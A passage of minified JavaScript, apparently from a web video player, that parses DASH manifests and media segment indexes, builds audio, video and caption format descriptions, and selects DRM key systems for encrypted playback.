qcm=function(x,T){var t=[];T=Array.from(T.getElementsByTagName("SegmentTimeline"));T=g.S(T);for(var u=T.next();!u.done;u=T.next()){u=u.value;var H=u.parentNode.parentNode,I=null;H.nodeName==="Period"?I=iQq(x):H.nodeName==="AdaptationSet"?(H=H.getAttribute("id")||H.getAttribute("mimetype")||"",I=IDD(x,H)):H.nodeName==="Representation"&&(H=H.getAttribute("id")||"",I=EjX(x,H));if(I==null)return;I.update(u);g.sy(t,$GC(I))}g.sy(x.K,t);TyH(x.K,function(E){return E.startSecs*1E3+E.C})};
ZQ4=function(x){x.C&&(x.C.C=[]);g.Mg(x.Z,function(T){T.C=[]});
g.Mg(x.j,function(T){T.C=[]})};
iQq=function(x){x.C||(x.C=new Q4);return x.C};
IDD=function(x,T){x.Z[T]||(x.Z[T]=new Q4);return x.Z[T]};
EjX=function(x,T){x.j[T]||(x.j[T]=new Q4);return x.j[T]};
OU=function(x){var T=x===void 0?{}:x;x=T.XR===void 0?0:T.XR;var t=T.Ns===void 0?!1:T.Ns;var u=T.jm===void 0?0:T.jm;var H=T.Q9===void 0?0:T.Q9;var I=T.ll===void 0?Infinity:T.ll;var E=T.N8===void 0?0:T.N8;var Z=T.qI===void 0?!1:T.qI;T=T.Su===void 0?!1:T.Su;g.hv.call(this);this.Vh=this.Np=-1;this.cU=x;this.jm=u;this.Ns=t;this.Q9=H;this.ll=I;this.N8=E;((this.qI=Z)||isFinite(I)&&this.ll>0)&&t&&pX&&(this.Z=!1,this.j="postLive");this.Su=T};
fX=function(x,T){return I2(x.segments,function(t){return T-t.Mj})};
wD=function(x,T,t){t=t===void 0?{}:t;NH.call(this,x,T,"",void 0,void 0,t.XR||0);this.index=new OU(t)};
KX=function(x,T,t){rD.call(this,x,T);this.T=t;x=this.index=new g.hv;x.Z=!1;x.j="d"};
jE4=function(x,T,t){var u=x.index.Pj(T),H=x.index.getStartTime(T),I=x.index.getDuration(T);t?I=t=0:t=x.info.Zp*I;return new BH([new vH(3,x,void 0,"otfCreateRequestInfoForSegment",T,H,I,0,t)],u)};
ew4=function(x,T){if(!x.index.isLoaded()){var t=[],u=T.K;T=T.T.split(",").filter(function(m){return m.length>0});
for(var H=0,I=0,E=0,Z=/^(\d+)/,e=/r=(\d+)/,l=0;l<u;l++){if(E<=0)if(E=T.shift(),I=(I=Z.exec(E))?+I[1]/1E3:0)E=(E=e.exec(E))?+E[1]:0,E+=1;else return;t.push(new Fh(l,H,I,NaN,"sq/"+(l+1)));H+=I;E--}x.index.append(t)}};
XO=function(x,T){this.info=x;this.C=T;this.Z=null;this.K=this.j=-1;this.timestampOffset=0;this.isLocked=this.D=!1;this.T=this.info.C.HJ()&&!this.info.Z};
lD3=function(x,T){x.C.getLength();T=Math.min(T,x.info.j);var t=x.C.split(T),u=t.kG;t=new XO(new vH(x.info.type,x.info.C,x.info.range,x.info.T,x.info.Mj,x.info.startTime,x.info.duration,x.info.Z,T,!1,x.info.a4,x.info.clipId),t.gQ);t.K=x.K;t.j=x.j;T=new XO(new vH(x.info.type,x.info.C,x.info.range,x.info.T,x.info.Mj,x.info.startTime,x.info.duration,x.info.Z+T,x.info.j-T,x.info.K,x.info.a4,x.info.clipId),u);T.K=x.K;T.j=x.j;return[t,T]};
g.x8=function(x,T,t){var u;if(!(u=x.isLocked||T.isLocked||!LX(x.info,T.info)||x.info.K)){if(t=t===void 0?!1:t)t=x.C,u=T.C,t=!(u.xg.length?z4H(t,u.xg[0]):1);u=t}if(u)return null;t=new vH(x.info.type,x.info.C,x.info.range,x.info.T,x.info.Mj,x.info.startTime,x.info.duration,x.info.Z,x.info.j,x.info.K,x.info.a4,x.info.clipId);u=T.info;t.j+=u.j;t.range&&(t.D+=u.D);t.BS=u.BS;t.K=u.K;u=new mi;dK(u,x.C);dK(u,T.C);t=new XO(t,u);t.Z=T.Z||x.Z;t.j=x.j!==-1?x.j:T.j;t.K=x.K!==-1?x.K:T.K;return t};
g.TW=function(x){g.Kj(x.info.C.info)||x.info.C.info.LF();if(x.j!==-1)return x.j;if(x.Z&&du3(x.Z))return x.j=du3(x.Z),x.j;if(g.Kj(x.info.C.info)){var T=x.IW();for(var t=x.info.C.C,u=NaN,H=NaN,I=0;f3(T,I);){var E=wU(T,I);E.type===1936286840?H=E.data.getUint32(E.dataOffset+8):E.type===1836476516?H=g.Qm(E):E.type===1952867444&&isNaN(u)&&(u=g.Xh(E));I=K3(E.type)?I+8:I+E.size}!H&&t&&(H=p3(t));T=u/H}else T=new oe(x.IW()),t=x.T?T:new oe(new DataView(x.info.C.C.buffer)),u=eX(t),t=T.pos,T.pos=0,lz(T)?$d(T,
231)?(u=Ie(T)*u/1E9,T.pos=t,T=u):(T.pos=t,T=NaN):(T.pos=t,T=NaN);x.j=T||x.info.Gy;return x.j};
dG4=function(x,T){x.timestampOffset>0&&(T-=x.timestampOffset);var t=g.TW(x)+T;mGX(x,t);x.timestampOffset=T};
mGX=function(x,T){g.Kj(x.info.C.info)||x.info.C.info.LF();x.j=T;if(g.Kj(x.info.C.info)){var t=x.IW();x=x.info.C.C;for(var u=NaN,H=NaN,I=0;f3(t,I);){var E=wU(t,I);isNaN(u)&&(E.type===1936286840?u=E.data.getUint32(E.dataOffset+8):E.type===1836476516&&(u=g.Qm(E)));if(E.type===1952867444){!u&&x&&(u=p3(x));var Z=g.Xh(E);isNaN(H)&&(H=Math.round(T*u)-Z);var e=E;Z+=H;if(e.data.getUint8(e.dataOffset)){var l=e.data;e=e.dataOffset+4;l.setUint32(e,Math.floor(Z/4294967296));l.setUint32(e+4,Z&4294967295)}else e.data.setUint32(e.dataOffset+
4,Z)}I=K3(E.type)?I+8:I+E.size}return!0}t=new oe(x.IW());x=x.T?t:new oe(new DataView(x.info.C.C.buffer));u=eX(x);x=t.pos;t.pos=0;if(lz(t)&&$d(t,231))if(H=HH(t,!0),T=Math.floor(T*1E9/u),Math.ceil(Math.log(T)/Math.log(2)/8)>H)T=!1;else{for(u=H-1;u>=0;u--)t.C.setUint8(t.pos+u,T&255),T>>>=8;t.pos=x;T=!0}else T=!1;return T};
ty=function(x,T){T=T===void 0?!1:T;var t=o$(x);x=T?0:x.info.D;return t||x};
o$=function(x){g.Kj(x.info.C.info)||x.info.C.info.LF();if(x.Z&&x.info.type===6)return x.Z.XR;if(g.Kj(x.info.C.info)){var T=x.IW();var t=0;T=g.Tr(T,1936286840);T=g.S(T);for(var u=T.next();!u.done;u=T.next())u=YqJ(u.value),t+=u.X2[0]/u.timescale;t=t||NaN;if(!(t>=0))a:{t=x.IW();T=x.info.C.C;for(var H=u=0,I=0;f3(t,u);){var E=wU(t,u);if(E.type===1836476516)H=g.Qm(E);else if(E.type===1836019558){!H&&T&&(H=p3(T));if(!H){t=NaN;break a}var Z=OK(E.data,E.dataOffset,1953653094),e=Z;Z=H;var l=OK(e.data,e.dataOffset,
1952868452);e=OK(e.data,e.dataOffset,1953658222);var m=L3(l);L3(l);m&2&&L3(l);l=m&8?L3(l):0;var d=L3(e),M=d&1;m=d&4;var A=d&256,R=d&512,Y=d&1024;d&=2048;var b=n3(e);M&&L3(e);m&&L3(e);for(var z=M=0;z<b;z++){var F=A?L3(e):l;R&&L3(e);m&&z===0||!Y||L3(e);d&&L3(e);M+=F}I+=M/Z}u=K3(E.type)?u+8:u+E.size}t=I||NaN}t||g.Vh(new g.CS("Missing duration while parsing bmff",x.info.Hk()))}else t=new oe(x.IW()),x=x.T?t:new oe(new DataView(x.info.C.C.buffer)),t=Vff(t,eX(x));return t};
g.McV=function(x){if(x.info.C.Jy())return x.info.duration;x.K===-1&&(x.K=o$(x));return x.K||x.info.duration};
A0J=function(x){var T=x.IW();var t=(t=g.C3(T,0,1936286840))?t.data.getUint32(t.dataOffset+8):NaN;isNaN(t)&&(x=x.info.C.C,t=(T=g.C3(T,0,1836476516))?g.Qm(T):x?p3(x):NaN);return t};
Rwf=function(x){return x.info.C.info.LF()&&x.C.getUint8(0)===160};
PKq=function(x){if(!x.Z){g.Kj(x.info.C.info)||x.info.C.info.LF();if(g.Kj(x.info.C.info))var T=g.bj5(x.IW());else{T=new oe(x.IW());var t=T.pos;T.pos=0;var u=null,H=null;if(sU(T,[408125543,307544935]))for(var I=T.pos+HH(T,!0);T.pos<I;)if(HH(T,!1)!==29555)EU(T);else for(var E=T.pos+HH(T,!0);T.pos<E;)if(HH(T,!1)!==26568)EU(T);else for(var Z=T.pos+HH(T,!0);T.pos<Z;){var e=HH(T,!1);if(e===17543){if(e=hoi(T),e=Jv(e))if(H)for(var l=g.S(Object.keys(e)),m=l.next();!m.done;m=l.next())m=m.value,H[m]=e[m];else H=
e}else e===17827?(e=hoi(T),u||(u=e)):EU(T)}T.pos=t;T=H?new ym(H,u):null}x.Z=T}};
Sc4=function(x){if(g.Kj(x.info.C.info))xd(x.IW(),1836019574),xd(x.IW(),1718909296);else{var T=new oe(x.IW());GYC(T);$d(T,524531317,!0);x.C=x.C.split(T.start+T.pos).kG}x.T=!1};
s4=function(x){if(!x.D){if(g.Kj(x.info.C.info)){var T=x.IW();var t=OK(T,0,1836019574);if(t){t=t.offset+t.size;var u=new Uint8Array(t);u.set(new Uint8Array(T.buffer,T.byteOffset,t));T=u}else T=null}else T=vXJ(new oe(x.IW()));T&&(x.info.C.C=T,x.D=!0)}};
g.uQ=function(){this.count=0;this.C=1;this.Z=!1;this.offsets=new Float64Array(128);this.startTicks=new Float64Array(128)};
c0i=function(x,T){return T+1<x.count||x.Z?x.offsets[T+1]-x.offsets[T]:-1};
$8=function(x){x.offsets.length<x.count+1&&x.resize(x.offsets.length*2)};
HT=function(x,T,t,u){rD.call(this,x,T,t,u);var H=this;this.T=null;this.yF={Ev:function(I,E,Z,e){return H.Ev(I,E,Z,e)}};
this.index=new g.uQ};
YcC=function(x,T,t,u,H,I){this.displayName=x;this.vssId=T;this.languageCode=t;this.kind=u===void 0?"":u;this.xtags=H===void 0?"":H;this.id=I===void 0?"":I};
bQf=function(x){if(x=x.colorInfo)if(x=x.transferCharacteristics)return UGV[x];return null};
g.iQ=function(x,T,t){this.name=x;this.id=T;this.isDefault=t};
r0q=function(x){return I$(function(T,t){return g.kD(T,t,4,1E3)},x,{format:"RAW",
method:"GET",withCredentials:!0})};
g.zwv=function(x){var T;x.responseType&&x.responseType!=="text"?x.responseType==="arraybuffer"&&(T=c5(new Uint8Array(x.response))):T=x.responseText;return!T||T.length>2048?"":T.indexOf("https://")===0?T:""};
I$=function(x,T,t){T.match(kym);return x(T,t).then(function(u){var H=g.zwv(u.xhr);return H?I$(x,H,t):u.xhr})};
jP=function(x,T,t){x=x===void 0?"":x;T=T===void 0?null:T;t=t===void 0?!1:t;g.$B.call(this);var u=this;this.sourceUrl=x;this.isLivePlayback=t;this.mu=this.duration=0;this.isPremiere=this.qI=this.K=this.isLiveHeadPlayable=this.isLive=this.Z=!1;this.ll=this.Q9=0;this.isOtf=this.B9=!1;this.G9=(0,g.bo)();this.ZZ=Infinity;this.C={};this.j=new Map;this.state=this.G7=0;this.timeline=null;this.isManifestless=!1;this.uG=[];this.D=null;this.Hv=0;this.T="";this.Om=NaN;this.QU=this.kP=this.timestampOffset=this.N=
0;this.jb=this.U$=NaN;this.rp=0;this.AQ=this.S=!1;this.hQ=[];this.nf={};this.jY=NaN;this.yF={ueU:function(Z){E4(u,Z)}};
var H;this.tQ=(H=T)==null?void 0:H.aU("html5_use_network_error_code_enums");FXq=!!T&&T.aU("html5_modern_vp9_mime_type");var I;qK=!((I=T)==null||!I.aU("html5_enable_flush_during_seek"))&&g.N2();var E;ZX=!((E=T)==null||!E.aU("html5_enable_reset_audio_decoder"))&&g.N2()};
hwH=function(x){return g.PR(x.C,function(T){return!!T.info.video&&T.info.video.C>=2160})};
xuf=function(x){return g.PR(x.C,function(T){return!!T.info.video&&T.info.video.isHdr()})};
mV=function(x){return g.PR(x.C,function(T){return!!T.info.wb})};
g.vjH=function(x){return g.PR(x.C,function(T){return t0(T.info.mimeType)})};
VcC=function(x){return g.PR(x.C,function(T){return T.info.video?T.info.video.projectionType==="EQUIRECTANGULAR":!1})};
Gy4=function(x){return g.PR(x.C,function(T){return T.info.video?T.info.video.projectionType==="EQUIRECTANGULAR_THREED_TOP_BOTTOM":!1})};
LX5=function(x){return g.PR(x.C,function(T){return T.info.video?T.info.video.projectionType==="MESH":!1})};
njC=function(x){return g.PR(x.C,function(T){return T.info.video?T.info.video.stereoLayout===1:!1})};
aDm=function(x){return WSV(x.C,function(T){return T.info.video?T.Dc():!0})};
jR=function(x){return g.PR(x.C,function(T){return bG(T.QA.C)})};
E4=function(x,T){x.C[T.info.id]=T;x.j.set(bz(g.xj(T.info,x.B9)),T)};
gjC=function(x,T){return bz({itag:T.itag,lmt:x.B9?0:T.lmt||0,xtags:T.xtags})};
mj=function(x,T,t){t=t===void 0?0:t;var u=x.mimeType||"",H=x.itag;var I=x.xtags;H=H?H.toString():"";I&&(H+=";"+I);I=H;if(oE(u)){var E=x.width||640;H=x.height||360;var Z=x.fps,e=x.qualityLabel,l=x.colorInfo,m=x.projectionType,d;x.stereoLayout&&(d=Bo4[x.stereoLayout]);var M=bQf(x)||void 0;if(l==null?0:l.primaries)var A=WXD[l.primaries]||void 0;E=new WU(E,H,Z,m,d,void 0,e,M,A);u=eP(u,E,Nu[x.itag||""]);qK&&(u+="; enableflushduringseek=true");ZX&&(u+="; enableresetaudiodecoder=true")}var R;if(Ty(u)){var Y=
x.audioSampleRate;d=x.audioTrack;Y=new aS(Y?+Y:void 0,x.audioChannels,x.spatialAudioType,x.isDrc,x.loudnessDb,x.trackAbsoluteLoudnessLkfs,x.audioQuality||"AUDIO_QUALITY_UNKNOWN");d&&(A=d.displayName,H=d.id,d=d.audioIsDefault,A&&(R=new g.iQ(A,H||"",!!d)))}var b;x.captionTrack&&(e=x.captionTrack,d=e.displayName,A=e.vssId,H=e.languageCode,Z=e.kind,e=e.id,d&&A&&H&&(b=new YcC(d,A,H,Z,x.xtags,e)));d=Number(x.bitrate)/8;A=Number(x.contentLength);H=Number(x.lastModified);e=x.drmFamilies;Z=x.type;t=t&&A?A/
t:0;x=Number(x.approxDurationMs);if(T&&e){var z={};e=g.S(e);for(l=e.next();!l.done;l=e.next())(l=lQ[l.value])&&(z[l]=T[l])}return new JE(I,u,{audio:Y,video:E,S8:R,wb:z,Zp:d,R5:t,contentLength:A,lastModified:H,captionTrack:b,streamType:Z,approxDurationMs:x})};
dV=function(x,T,t){t=t===void 0?0:t;var u=x.type;var H=x.itag;var I=x.xtags;I&&(H=x.itag+";"+I);if(oE(u)){var E=(x.size||"640x360").split("x");E=new WU(+E[0],+E[1],+x.fps,x.projection_type,+x.stereo_layout,void 0,x.quality_label,x.eotf,x.primaries);u=eP(u,E,Nu[x.itag]);qK&&(u+="; enableflushduringseek=true");ZX&&(u+="; enableresetaudiodecoder=true")}var Z;if(Ty(u)){var e=new aS(+x.audio_sample_rate||void 0,+x.audio_channels||0,x.spatial_audio_type,!!x.drc);x.name&&(Z=new g.iQ(x.name,x.audio_track_id,
x.isDefault==="1"))}var l;x.caption_display_name&&x.caption_vss_id&&x.caption_language_code&&(l=new YcC(x.caption_display_name,x.caption_vss_id,x.caption_language_code,x.caption_kind,x.xtags,x.caption_id));I=Number(x.bitrate)/8;var m=Number(x.clen),d=Number(x.lmt);t=t&&m?m/t:0;if(T&&x.drm_families){var M={};for(var A=g.S(x.drm_families.split(",")),R=A.next();!R.done;R=A.next())R=R.value,M[R]=T[R]}return new JE(H,u,{audio:e,video:E,S8:Z,wb:M,Zp:I,R5:t,contentLength:m,lastModified:d,captionTrack:l,
streamType:x.stream_type,approxDurationMs:Number(x.approx_duration_ms)})};
DG3=function(x){return h2(x,function(T){return"FORMAT_STREAM_TYPE_OTF"===T.stream_type})?"FORMAT_STREAM_TYPE_OTF":"FORMAT_STREAM_TYPE_UNKNOWN"};
y0D=function(x){return h2(x,function(T){return"FORMAT_STREAM_TYPE_OTF"===T.type})?"FORMAT_STREAM_TYPE_OTF":"FORMAT_STREAM_TYPE_UNKNOWN"};
NoV=function(x,T){return x.timeline?ug(x.timeline.K,T):x.uG.length?ug(x.uG,T):[]};
MK=function(x,T,t){T=T===void 0?"":T;t=t===void 0?"":t;x=new g.ct(x,!0);x.set("alr","yes");t&&(t=SnJ(decodeURIComponent(t)),x.set(T,encodeURIComponent(t)));return x};
pp3=function(x,T){var t=J7(T,"id");t=t.replace(":",";");var u=J7(T,"mimeType"),H=J7(T,"codecs");u=H?u+'; codecs="'+H+'"':u;H=Number(J7(T,"bandwidth"))/8;var I=Number(CX(T,"BaseURL").getAttribute(x.T+":contentLength")),E=x.duration&&I?I/x.duration:0;if(oE(u)){var Z=Number(J7(T,"width"));var e=Number(J7(T,"height")),l=Number(J7(T,"frameRate")),m=J0V(J7(T,x.T+":projectionType"));a:switch(J7(T,x.T+":stereoLayout")){case "layout_left_right":var d=1;break a;case "layout_top_bottom":d=2;break a;default:d=
0}Z=new WU(Z,e,l,m,d)}if(Ty(u)){var M=Number(J7(T,"audioSamplingRate"));var A=Number(J7(T.getElementsByTagName("AudioChannelConfiguration")[0],"value"));e=CKm(J7(T,x.T+":spatialAudioType"));M=new aS(M,A,e);a:{A=J7(T,"lang")||"und";if(e=CX(T,"Role"))if(m=J7(e,"value")||"",g.UA(QEH,m)){e=A+"."+QEH[m];l=m==="main";x=J7(T,x.T+":langName")||A+" - "+m;A=new g.iQ(x,e,l);break a}A=void 0}}if(T=CX(T,"ContentProtection"))if(T.getAttribute("schemeIdUri")==="http://youtube.com/drm/2012/10/10"){var R={};for(T=
T.firstChild;T!=null;T=T.nextSibling)T instanceof Element&&/SystemURL/.test(T.nodeName)&&(x=T.getAttribute("type"),e=T.textContent,x&&e&&(R[x]=e.trim()))}else R=void 0;return new JE(t,u,{audio:M,video:Z,S8:A,wb:R,Zp:H,R5:E,contentLength:I})};
J0V=function(x){switch(x){case "equirectangular":return"EQUIRECTANGULAR";case "equirectangular_threed_top_bottom":return"EQUIRECTANGULAR_THREED_TOP_BOTTOM";case "mesh":return"MESH";case "rectangular":return"RECTANGULAR";default:return"UNKNOWN"}};
CKm=function(x){switch(x){case "spatial_audio_type_ambisonics_5_1":return"SPATIAL_AUDIO_TYPE_AMBISONICS_5_1";case "spatial_audio_type_ambisonics_quad":return"SPATIAL_AUDIO_TYPE_AMBISONICS_QUAD";case "spatial_audio_type_foa_with_non_diegetic":return"SPATIAL_AUDIO_TYPE_FOA_WITH_NON_DIEGETIC";default:return"SPATIAL_AUDIO_TYPE_NONE"}};
fDH=function(x,T){T=T===void 0?"":T;x.state=1;x.G9=(0,g.bo)();return r0q(T||x.sourceUrl).then(function(t){if(!x.T9()){x.G7=t.status;t=t.responseText;var u=new DOMParser;t=pd(u,Gsm(t),"text/xml").getElementsByTagName("MPD")[0];x.ZZ=sEX(J7(t,"minimumUpdatePeriod"))*1E3||Infinity;b:{if(t.attributes){u=g.S(t.attributes);for(var H=u.next();!H.done;H=u.next())if(H=H.value,H.value==="http://youtube.com/yt/2012/10/10"){u=H.name.split(":")[1];break b}}u=""}x.T=u;x.isLive=x.ZZ<Infinity&&x.isLivePlayback;x.mu=
Number(J7(t,x.T+":earliestMediaSequence"))||0;if(u=Date.parse(uGi(J7(t,x.T+":mpdResponseTime"))))x.Hv=((0,g.bo)()-u)/1E3;x.isLive&&t.getElementsByTagName("SegmentTimeline").length<=0||g.zu(t.getElementsByTagName("Period"),x.TNU,x);x.state=2;x.publish("loaded");OQV(x)}return x}).p_(function(t){if(t instanceof r2){var u=t.xhr;
x.G7=u.status}x.state=3;x.publish("loaderror");return MY(u)})};
wpC=function(x,T,t){return fDH(new jP(x,T,t),x)};
Ay=function(x){return x.isLive&&(0,g.bo)()-x.G9>=x.ZZ};
KXX=function(x){x.D&&x.D.stop()};
OQV=function(x){var T=x.ZZ;isFinite(T)&&(Ay(x)?x.refresh():(T=Math.max(0,x.G9+T-(0,g.bo)()),x.D||(x.D=new g.wX(x.refresh,T,x),g.y(x,x.D)),x.D.start(T)))};
XpD=function(x){x=x.C;for(var T in x){var t=x[T].index;if(t.isLoaded())return t.mR()+1}return 0};
R$=function(x){return x.kP?x.kP-(x.N||x.timestampOffset):0};
PT=function(x){return x.QU?x.QU-(x.N||x.timestampOffset):0};
SP=function(x){if(!isNaN(x.Om))return x.Om;var T=x.C,t;for(t in T){var u=T[t].index;if(u.isLoaded()&&!t0(T[t].info.mimeType)){T=0;for(t=u.SU();t<=u.mR();t++)T+=u.getDuration(t);T/=u.Bg();T=Math.round(T/.5)*.5;u.Bg()>10&&(x.Om=T);return T}if(x.isLive&&(u=T[t],u.XR))return u.XR}return NaN};
xWf=function(x,T){x=yCD(x.C,function(u){return u.index.isLoaded()});
if(!x)return NaN;x=x.index;var t=x.tp(T);return x.getStartTime(t)===T?T:t<x.mR()?x.getStartTime(t+1):NaN};
Tcf=function(x,T){if(!x.C["0"]){var t=new JE("0","fakesb",{video:new WU(0,0,0,void 0,void 0,"auto")});x.C["0"]=T?new NH(new g.ct("http://www.youtube.com/videoplayback"),t,"fake"):new HT(new g.ct("http://www.youtube.com/videoplayback"),t,new zr(0,0),new zr(0,0))}};
cT=function(x){if(x.isManifestless)for(var T in x.C)x.C[T].index.segments=[]};
Y8=function(x,T,t){for(var u in x.C){var H=t0(x.C[u].info.mimeType)||x.C[u].info.Zo();if(t===H&&(H=x.C[u].index)!=null){var I=fX(H,T);I>=0&&H.segments.splice(I,1)}}};
olH=function(x){for(var T in x.C)t0(x.C[T].info.mimeType)||ZjD(x.C[T].index,Infinity)};
U4=function(x,T,t){for(var u in x.C){var H=x.C[u].index,I=T,E=t;H.Ns&&(I&&(H.Np=Math.max(H.Np,I)),E&&(H.Vh=Math.max(H.Vh||0,E)))}t&&(x.jY=t/1E3)};
teX=function(x){x.QU=0;x.kP=0;x.rp=0};
bQ=function(x){return x.AQ&&x.isManifestless?x.isLiveHeadPlayable:x.isLive};
eP=function(x,T,t){rV===null&&(rV=window.MediaSource&&MediaSource.isTypeSupported&&MediaSource.isTypeSupported('video/webm; codecs="vp09.02.51.10.01.09.16.09.00"')&&!MediaSource.isTypeSupported('video/webm; codecs="vp09.02.51.10.01.09.99.99.00"'));if(FXq&&window.MediaSource&&MediaSource.isTypeSupported!==void 0)return rV||t!=="9"&&t!=="("?rV||t!=="9h"&&t!=="(h"||(x='video/webm; codecs="vp9.2"'):x='video/webm; codecs="vp9"',x;if(!rV&&!zW||x!=='video/webm; codecs="vp9"'&&x!=='video/webm; codecs="vp9.2"')return x;
t="00";var u="08",H="01",I="01",E="01";x==='video/webm; codecs="vp9.2"'&&(t="02",u="10",T.primaries==="bt2020"&&(E=H="09"),T.Z==="smpte2084"&&(I="16"),T.Z==="arib-std-b67"&&(I="18"));return'video/webm; codecs="'+["vp09",t,"51",u,"01",H,I,E,"00"].join(".")+'"'};
FT=function(x,T,t){x=""+x+(T>49?"p60":T>32?"p48":"");T=DR()[x];if(T!=null&&T>0)return T;T=k8.get(x);if(T!=null&&T>0)return T;t=t==null?void 0:t.get(x);return t!=null&&t>0?t:8192};
sGf=function(x){this.Pv=x;this.L2=this.Dl=this.QU=this.T=this.K=this.Ee=this.AQ=this.jY=!1;this.N=this.D=0;this.SY=!1;this.uG=!0;this.tQ=!1;this.TC=0;this.po=this.Om=!1;this.rp=!0;this.G9=this.nf=!1;this.C={};this.Zk=this.disableAv1=this.Lz=this.L4=this.Cz=this.ra=this.Z=this.J=!1;this.VI=this.Pv.B("html5_disable_aac_preference");this.kP=Infinity;this.hQ=0;this.Ym=this.Pv.AM();this.hM=this.Pv.experiments.aU("html5_enable_vp9_fairplay");this.dN=this.Pv.B("html5_force_av1_for_testing");this.mu=g.Z9(this.Pv.experiments,
"html5_av1_ordinal_cap");this.tR=this.Pv.B("html5_disable_hfr_when_vp9_encrypted_2k4k_unsupported");this.Jq=this.Pv.B("html5_account_onesie_format_selection_during_format_filter");this.Zp=g.Z9(this.Pv.experiments,"html5_max_byterate");this.S=this.Pv.B("html5_sunset_aac_high_codec_family");this.Hv=this.Pv.B("html5_sunset_aac_high_codec_family");this.tM=this.Pv.B("html5_enable_iamf_audio");this.RW=this.Pv.experiments.aU("html5_allow_capability_merge");this.C4=this.Pv.B("html5_prefer_h264_encrypted_appletv");
this.FD=this.Pv.B("html5_enable_encrypted_av1")};
T4q=function(x){if(x.AQ)return["f"];if(x.C4&&g.D2("appletv5"))return"9h 9 h 8 H (h ( *".split(" ");var T=["9h","9","h","8"];x.FD&&T.push("1e");T=T.concat(["(h","(","H","*"]);x.Om&&(T.unshift("1"),T.unshift("1h"));x.Dl&&T.unshift("h");x.ZZ&&(T=(u2X[x.ZZ]||[x.ZZ]).concat(T));return T};
OHH=function(x){var T=["o","a","A"];x.hQ===1&&(x.K&&(T=["mac3","MAC3"].concat(T)),x.T&&(T=["meac3","MEAC3"].concat(T)),x.tM&&(T=["i","I"].concat(T)));x.jY&&(T=["so","sa"].concat(T));!x.L2||x.QU||x.j||x.VI||T.unshift("a");x.Ee&&!x.S&&T.unshift("ah");x.j&&(T=(u2X[x.j]||[x.j]).concat(T));return T};
hy=function(x,T,t,u){T=T===void 0?{}:T;if(u===void 0?0:u)return T.disabled=1,0;if(Pt(x.T,SR.AV1_CODECS)&&Pt(x.T,SR.HEIGHT)&&Pt(x.T,SR.BITRATE))return T.isCapabilityUsable=1,8192;try{var H=hm3();if(H)return T.localPref=H}catch(Z){}u=1080;H=navigator.hardwareConcurrency;H<=2&&(u=480);T.coreCount=H;if(H=g.Z9(x.experiments,"html5_default_av1_threshold"))u=T["default"]=H;!x.B("html5_disable_av1_arm_check")&&A_5()&&(T.isArm=1,u=240);if(x=x.T.uG)T.mcap=x,u=Math.max(u,x);if(t){var I,E;if(x=(I=t.videoInfos.find(function(Z){return Oq(Z)}))==
null?void 0:(E=I.Z)==null?void 0:E.powerEfficient)u=8192,T.isEfficient=1;
t=t.videoInfos[0].video;I=Math.min(FT("1",t.fps),FT("1",30));T.perfCap=I;u=Math.min(u,I);t.isHdr()&&!x&&(T.hdr=1,u*=.75)}else t=FT("1",30),T.perfCap30=t,u=Math.min(u,t),t=FT("1",60),T.perfCap60=t,u=Math.min(u,t);return T.av1Threshold=u};
vT=function(x,T,t,u){this.flavor=x;this.keySystem=T;this.Z=t;this.experiments=u;this.C={};this.tQ=this.keySystemAccess=null;this.nX=this.pX=-1;this.yS=null;this.j=!!u&&u.aU("edge_nonprefixed_eme");u&&u.aU("html5_enable_vp9_fairplay")};
GW=function(x){return x.j?!1:!x.keySystemAccess&&!!VF()&&x.keySystem==="com.microsoft.playready"};
LY=function(x){return x.keySystem==="com.microsoft.playready"};
nY=function(x){return!x.keySystemAccess&&!!VF()&&x.keySystem==="com.apple.fps.1_0"};
a$=function(x){return x.keySystem==="com.youtube.fairplay"};
gV=function(x){return x.keySystem==="com.youtube.fairplay.sbdl"};
g.BT=function(x){return x.flavor==="fairplay"};
VF=function(){var x=window,T=x.MSMediaKeys;QX()&&!T&&(T=x.WebKitMediaKeys);return T&&T.isTypeSupported?T:null};
DX=function(x){if(!navigator.requestMediaKeySystemAccess)return!1;if(g.vU&&!g.N2())return YP("45");if(g.Qb||g.jW)return x.aU("edge_nonprefixed_eme");if(g.WT)return YP("47");if(g.M4){if(x.aU("html5_enable_safari_fairplay"))return!1;if(x=g.Z9(x,"html5_safari_desktop_eme_min_version"))return YP(x)}return!0};
$WC=function(x,T,t,u){var H=Jg(),I=(t=H||t&&QX())?["com.youtube.fairplay"]:["com.widevine.alpha"];T&&I.unshift("com.youtube.widevine.l3");H&&u&&I.unshift("com.youtube.fairplay.sbdl");return t?I:x?[].concat(g.U(I),g.U(yF.playready)):[].concat(g.U(yF.playready),g.U(I))};
Jy=function(){this.Z=this.Ar=0;this.C=Array.from({length:NK.length}).fill(0)};
HiH=function(){};
ii3=function(){this.startTimeMs=(0,g.bo)();this.C=!1};
Izi=function(){this.C=new HiH};
Elf=function(x,T,t,u){u=u===void 0?1:u;t>=0&&(T in x.C||(x.C[T]=new Jy),x.C[T].XA(t,u))};
q1m=function(x,T,t,u,H){var I=(0,g.bo)(),E=H?H(T):void 0,Z;H=(Z=E==null?void 0:E.Ar)!=null?Z:1;if(H!==0){var e;Z=(e=E==null?void 0:E.profile)!=null?e:t;Elf(x,Z,I-u,H)}return T};
CY=function(x,T,t,u,H){if(T&&typeof T==="object"){var I=function(E){return q1m(x,E,t,u,H)};
if(Ek(T))return T.then(I);if(Zi3(T))return mH(T,I)}return q1m(x,T,t,u,H)};
jGX=function(){};
QF=function(x,T,t,u,H){u=u===void 0?!1:u;g.W.call(this);this.Pv=T;this.useCobaltWidevine=u;this.kc=H;this.Z=[];this.j={};this.C={};this.callback=null;this.T=!1;this.K=[];this.initialize(x,!t)};
lzi=function(x,T){x.callback=T;x.K=[];DX(x.Pv.experiments)?pY(x):e94(x)};
pY=function(x){if(!x.T9())if(x.Z.length===0)x.callback(x.K);else{var T=x.Z[0],t=x.j[T],u=mWJ(x,t);if(O4&&O4.keySystem===T&&O4.OC7===JSON.stringify(u))x.kc("remksa",{re:!0}),dWv(x,t,O4.keySystemAccess);else{var H,I;x.kc("remksa",{re:!1,ok:(I=(H=O4)==null?void 0:H.keySystem)!=null?I:""});O4=void 0;(fY.isActive()?fY.Hf("emereq",function(){return navigator.requestMediaKeySystemAccess(T,u)}):navigator.requestMediaKeySystemAccess(T,u)).then(Sv(function(E){dWv(x,t,E,u)}),Sv(function(){x.T=!x.T&&x.j[x.Z[0]].flavor===
"widevine";
x.T||x.Z.shift();pY(x)}))}}};
